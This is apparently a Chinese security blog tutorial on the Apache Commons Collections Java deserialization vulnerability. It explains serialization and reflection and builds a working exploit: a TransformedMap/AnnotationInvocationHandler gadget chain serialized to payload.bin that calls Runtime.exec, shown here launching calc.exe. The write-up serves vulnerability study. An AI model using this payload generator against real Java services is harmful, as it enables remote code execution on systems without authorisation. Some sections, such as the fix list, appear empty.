2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行。Apache Commons Collections这样的基础库非常多的Java应用都在用,本文将分析这个基础库来构造exp。
序列化常用于将程序运行时的对象状态以二进制的形式存储于文件系统中。序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。整个过程是独立的JVM,这意味着一个对象可以被序列化在一个平台上,并反序列化一个完全不同的平台上。Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,类ObjectInputStream类的readObject()方法用于反序列化。
一个类被序列化成功,两个条件必须满足:
以序列化字符串对象为例子,以下代码把字符串对象序列化后保存在本地,然后再从本地读取数据然后反序列化对象,把字符串对象打印。
import java.io.*; public class Ser { public static void main(String args[]) throws Exception { String obj = "this is test!"; // 将序列化对象写入文件object.db中 FileOutputStream fos = new FileOutputStream("object.db"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(obj); os.close(); // 从文件object.db中读取数据 FileInputStream fis = new FileInputStream("object.db"); ObjectInputStream ois = new ObjectInputStream(fis); // 通过反序列化恢复对象obj String obj2 = (String)ois.readObject(); System.out.println(obj2); ois.close(); } }
由此可知,如果Java应用对用户输入没有过滤进行了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中满足一定条件,就有可能带来任意代码执行。
winhex看下object.db的内容
在序列化对象数据中,头4个字节存储的是 Java 序列化对象数据特有的 Magic Number 和相应的协议版本,通常为:
0xaced (Magic Number) 0x0005 (Version Number)
在具体序列化一个对象时,会遵循序列化协议进行数据封装。 Java 应用序列化对象交互的接口寻找就可以通过监测这 4 个特殊字节或者这4个字节base64变形等来进行。
该漏洞的出现的根源在CommonsCollections组件中对于集合的操作存在可以进行反射调用的方法,并且该方法在相关对象反序列化时并未进行任何校验,新版本的修复方案对相关反射调用进行了限制。问题函数主要出现在org.apache.commons.collections.Transformer接口上
eclipse下双击选中Transformer,快捷键ctrl+t查看该接口有哪些实现类。
transformer的实现类中,看到了InvokerTransformer这个类,invoke是用来实现java反射函数的。跟进这个类
transformer这个方法用了反射的方法进行函数调用,input参数为要进行反射的对象,iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型,iArgs为对应方法的参数。java反射相关知识可以参考java反射。
在该类中,查看到它的构造函数,说明这三个参数我们是可以控制的。
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; }
所以反序列化能序列化执行到这个对象,就可以造成执行任意代码。先写个测试脚本,说明这个类怎样实现函数调用。
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; @SuppressWarnings({"rawtypes", "unchecked"}) public class Fuck { public static void main(String[] args) { Transformer transform = new InvokerTransformer( "append", new Class[]{String.class}, new Object[]{"he1m4n6a"}); Object newObject = transform.transform(new StringBuffer("your name is ")); System.out.println(newObject); } }
新建了InvokerTransformer类,传入"append"、new Class[] {String.class} 和 new Object[] {"he1m4n6a"}三个参数。
创建完InvokerTransformer类,并调用了transform的方法,参数是StringBuilder对象,按照代码实现逻辑
StringBuilder对象传入transform方法,"append"字符串是要反射的方法,String.class是参数类型,"he1m4n6a"是参数,所以执行结果是在your name is后面添加上he1m4n6a
可以看到,通过transform方法里的反射,我们成功调用了StringBuilder中的append方法并返回结果。这里可以造成任意代码执行,但是我们反序列化并不会自动调用transform这个方法,所以还要查找哪些类调用这些transformer对象的transform方法。选中该方法,通过eclipse的快捷键ctrl+alt+h查看哪些类调用了该方法。
可以看到很多类调用了transform方法,这两个类成功构造了exp,网上给的exp是用Lazymap类构造的,但是用TransformedMap构造更简单,我也重点讲解TrandsformedMap构造的exp。
TransformdMap的checkSetValue方法调用了transformer对象的transform方法。
继续跟进查看哪个类调用了checkSetValue的方法。entry对象调用setValue时,执行了checkSetValue
现在已经找到了反射调用的上一步调用,这里为了多次进行多次反射调用,我们可以将多个 InvokerTransformer 实例级联在一起组成一个 ChainedTransformer 对象,在其调用的时候会进行一个级联 transform() 调用
根据上面分析已经可以构造出一个 TransformedMap 实例,entry对象在对字典键值进行 setValue() 操作时候调我们构造的 ChainedTransformer
import java.util.Map; import java.util.HashMap; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; @SuppressWarnings({"rawtypes", "unchecked"}) public class TransformTest { public static void main(String[] args) { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers) ; Map innerMap = new HashMap<String, Object>(); innerMap.put("key", "value"); Map<String, Object> outerMap = TransformedMap.decorate(innerMap, null, chain); Map.Entry<String, Object> exMapValue = outerMap.entrySet().iterator().next() ; exMapValue.setValue(1); } }
代码中,我们将我们要执行的多行代码分散到各个transformer里,使用InvokeTransformer类来执行我们的方法。接着用TransformedMap来执行transfom方法触发代码。
这里的原生Map用来被TransformedMap包装,然后map的entry对象调用了setValue方法。在java环境中执行上面的代码,最后会弹出计算器:
现在创造了RCE的条件
但是现在只是能够造出任意代码执行,要想在 Java 应用反序列化的过程中触发该过程还需要找到一个类,能在readObject里进行调用TransformedMap通过执行setValue方法。通过查找发现sun.reflect.annotation.AnnotationInvocationHandler 类具有 Map 类型的参数,并且在 readObject() 方法中触发了上面所提到的所有条件
所以我们只要构造好AnnotationInvocationHandler类,然后把用精心构造好的 TransformedMap 作为它的实例化参数,然后将实例化的 AnnotationInvocationHandler 进行序列化,exp就构造好了。
TransformedMap的实现方式
import java.io.File; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class Attack { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] {"calc.exe"})}; Transformer chain = new ChainedTransformer(transformers); Map innerMap = new HashMap<String, Object>(); innerMap.put("key", "value"); Map<String, Object> outerMap = TransformedMap.decorate(innerMap, null, chain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, outerMap); File f = new File("payload.bin"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(instance); out.flush(); out.close(); } }
最终pop链的执行过程
Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() AbstractInputCheckedMapDecorator$MapEntry.setValue() TransformedMap.checkSetValue() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
受影响的通用库和框架
漏洞的根源是对数据反序列化的时候没有检查对数据进行安全检查和未检测反序列化对象安全性造成的。所以修复方案如下:
参考链接:
http://blog.sina.com.cn/s/blog_64e467d60100yqz9.html
http://drops.wooyun.org/papers/10801
https://github.com/frohoff/ysoserial
http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
http://drops.wooyun.org/papers/10467
http://bobao.360.cn/learning/detail/2268.html
http://blog.chaitin.com/2015-11-11_java_unserialize_rce/